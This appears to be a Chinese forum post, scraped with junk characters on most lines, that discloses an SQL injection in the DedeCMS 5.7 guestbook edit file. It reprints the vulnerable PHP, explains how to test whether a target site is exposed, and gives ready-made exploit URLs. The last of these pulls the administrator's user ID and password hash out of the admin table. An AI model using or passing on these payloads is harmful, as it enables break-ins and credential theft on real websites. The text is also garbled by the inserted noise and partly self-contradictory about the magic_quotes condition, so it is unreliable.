影响版本为5.7
( D* C5 Z$ g4 v! y( }) ~( [2 N
# T# e4 N! C( ~6 c漏洞文件edit.inc.php具体代码:+ M% n& }$ Y3 ?: R* o
/ P" f) z% R# t
< ?php 8 |9 p9 j/ j' U- L9 P7 k2 J1 r- M
, B i7 F" i) c |6 Q+ T( C
if(!defined('DEDEINC')) exit('Request Error!');
! w8 Q+ W. p- l: J
( v/ \3 W$ w( L
7 B- f' d$ @. L5 ~1 A/ L5 C
( ~6 t/ x9 \$ V1 _7 q; e. H, Cif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
' s7 m1 J1 d1 ?( v' b, Z* V. S7 E4 u1 @$ }$ S7 |
else $GUEST_BOOK_POS = "guestbook.php"; 3 R; B: l$ k( _1 {; l7 w
& t L. `1 N3 \4 Q0 a; w
& g( [# U& Y3 G- K) D6 C
% { ?0 ^# E7 _( l2 d6 M$id = intval($id);
# ]) C8 J! x! w* Y
3 \ t5 c$ H; J. _, U1 Lif(empty($job)) $job='view'; ( t# H" Z w; V- i# i* d) u# [& \
5 d0 E( i4 {! q, v' }, \# z
9 K3 P, k3 X$ ^( U
! t9 q8 V/ `: w' r- V# ]3 Xif($job=='del' && $g_isadmin) + E2 n/ i" u) j0 ?5 N$ X# `$ e) k
7 B& A1 e, p, x6 p( X+ P{
$ Z) J: e7 L3 H- |' V4 [* g1 @7 J4 ?" P
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); & h" j6 _7 I" G2 U, H
* ^( U1 U! b2 V
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 3 U; P N. r5 |0 T' g0 m5 n
3 F( @& o. Q0 h- r. Iexit(); ! T' Q& V8 \1 l I- F( b- y1 [
) ~# u1 S+ F1 T, r$ H} 8 g; ~+ ~+ I, Q8 m+ o
7 K9 L3 |3 P% Felse if($job=='check' && $g_isadmin)
% {5 `& _# T7 \! O) r# B+ f: G" _4 M$ e$ O- w. E
{
3 I0 z2 @8 @) n, d: Z% K. @! z/ x0 Q6 X2 z$ |/ _' L9 b
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
+ u4 ]+ D. e9 r9 l* t* q" e
) f' N2 K. L5 Q, U0 I( w- o4 ^ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
4 _ b$ e7 N3 o. {5 y
) x8 r+ q H; b+ Y6 r3 jexit(); ( h# |% f$ `5 q5 r
* g6 G' n3 V8 B! w) h: r* G}
; p+ U6 e& J7 T) ?* @% v
; O0 T9 V5 X" belse if($job=='editok') 3 l+ S4 [) v3 D3 o" q
- m4 a, l. G, M2 C. M( M6 l
{ - C8 o/ x" M/ \; h' B7 x; q: l
3 V) _6 }9 F& W
$remsg = trim($remsg);
' p6 V$ Z7 \: S) G' c
/ k! C3 M1 ]6 `, `& dif($remsg!='')
, K9 i1 ^: I; u% Y! d2 ]- S) m8 C9 |
{
4 S8 j4 S8 e# V- j; o* m# u4 _+ n- F& e
//管理员回复不过滤HTML By:Errorera blog:errs.cc
1 V& s8 Z$ ^* F6 h
9 Q1 k0 X; f( y( H6 h7 Fif($g_isadmin) 9 |6 o l! ^$ S
( L$ r: `( A% ^ C7 i{ ) r2 Z/ ~ Q! \- s$ ?
+ l1 M: G) ^ D+ M9 A3 p" z0 O$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 7 o( e$ J0 t3 N m! L& U$ c9 l; }
2 V9 | Z7 o; L8 a( O& E, [7 z
//$remsg <br /><font color=red>管理员回复:</font> } + P3 O% Q5 a1 E" r' B6 E8 _
: ~. X5 i- o9 X8 M8 i# U
else ! z6 ^6 h+ P3 [) I/ {+ X" N
b* q2 h+ F6 n% E{
) @ P/ Q2 t+ G( a8 S& F1 c$ n& [/ l
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
7 ]' \) Y! x5 k
% ], K4 u8 `. k+ w; p9 ^8 T4 z" L$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
. u+ [, P2 X7 |" e3 ?: w; K8 b% a, p* P0 v$ ~% s/ s6 V
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
& [6 K9 ~. E) g4 ^- r+ e/ ?- s! r: U+ {4 D( a" @/ R
$msg = $oldmsg.$remsg; ' i( f3 W$ ^) q% N7 X( J9 q# q& x3 h
( j# s# f8 c+ u1 g
}
1 F- _4 O3 {, g) M3 m
# [' W/ k! A: c3 Y} 6 f* p" E. m4 k
/ E: x3 V7 ~2 |( v. W" \! i8 A
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
6 v4 p7 R1 u1 o# O8 s" t2 q# u5 P. f( z+ d% T1 |7 [: ^% l
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); ! Q1 W% i; [; c6 S: g2 ^4 d$ }8 r
6 k4 x7 o& \: w D$ S
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
1 M6 n; R$ v1 x% z6 ~2 P) ~
! @" {: S' S5 W3 ?3 {- P9 a; Eexit(); - _; g- T, f& ]- S
& o# G( K& D L6 M8 {9 p# h- V} 4 q2 |& S8 y' o4 ~5 H$ _! |" B
% v0 _+ f5 Q8 O
//home:www.errs.cc y' F4 l; h) l7 S
: v6 z; V1 p. N' L2 E* \+ y
if($g_isadmin) ( ` r) H0 ~8 A8 {5 b# O
2 B8 z1 k, M# t5 j$ N* q i& e3 T' V{
; s' U: ?0 D' E' ~1 T9 o+ Y2 D. V8 m8 S1 V7 d
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
. Z* P7 L% `8 u2 @/ g/ W1 ]4 ^
2 `# u. z: P' z7 h" Q8 n3 Z' Prequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm'); 5 i9 t5 }( l9 s* k" ]( R5 L! z; {
* q0 Z% Q0 m6 U0 ], ~} # R. w# q* z* P' r0 b; M
l: D+ [( ^' V' o# t1 n
else Y4 F! Y- o! r5 S$ e3 _
5 X9 R7 @0 m3 @1 K8 c i
{
' c; F! P, R$ ~' M# x1 l9 j- T4 l# R" ]. e) l" W+ u$ O b, A4 c3 g
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'"); ) L+ b5 @9 [5 ^7 v8 ~/ x
6 \# J6 E5 ^* l0 Irequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
/ n8 v- _; E$ `7 u: k% J; X
6 `% K* }- \# j9 z} 漏洞成功需要条件:
$ s" _# z/ v& \% s! O1. php magic_quotes_gpc=off# b, b; N' f9 I( j5 D* O
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。- ^; L8 k9 u3 {
, H' u) ~+ y; {/ g$ Q! K怎么判断是否存在漏洞:
5 U5 T6 T& S% _" ~5 S先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,$ _1 _# B! {* E& i
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
7 B( X* Q# h% I* ~% u" t访问:
" j4 c4 T( w8 N: Q- Y L2 n \ x/ Q2 x. Z& `3 @
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了4 D }9 m4 o" m- Y8 ?: T6 l
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
* U( x3 l1 C# x0 I a$ E
, M& _) Y% @ @! m2 K
* L, }2 e% ?5 ?0 N% r明漏洞无法利用应为他开启了 php magic_quotes_gpc=off4 ]" t0 A1 ^' |/ \
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
" n9 ]. y7 B0 z- D) h那么再次访问7 C8 I m; a2 L3 ~
% d5 H3 {+ A# [; c/ Lwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().. I9 \8 o; d# {+ z- v }" Y: e
1 l: Q* X+ Y+ j" H. h8 M4 M大概利用就是这样,大家有兴趣的多研究下!!" ?+ h8 M) v b8 Q; m# \
: C9 Q, n( c2 o# z最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!+ t9 g! I) R. m
, M( p9 y: w0 Q: i* N+ G2 C5 Hview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |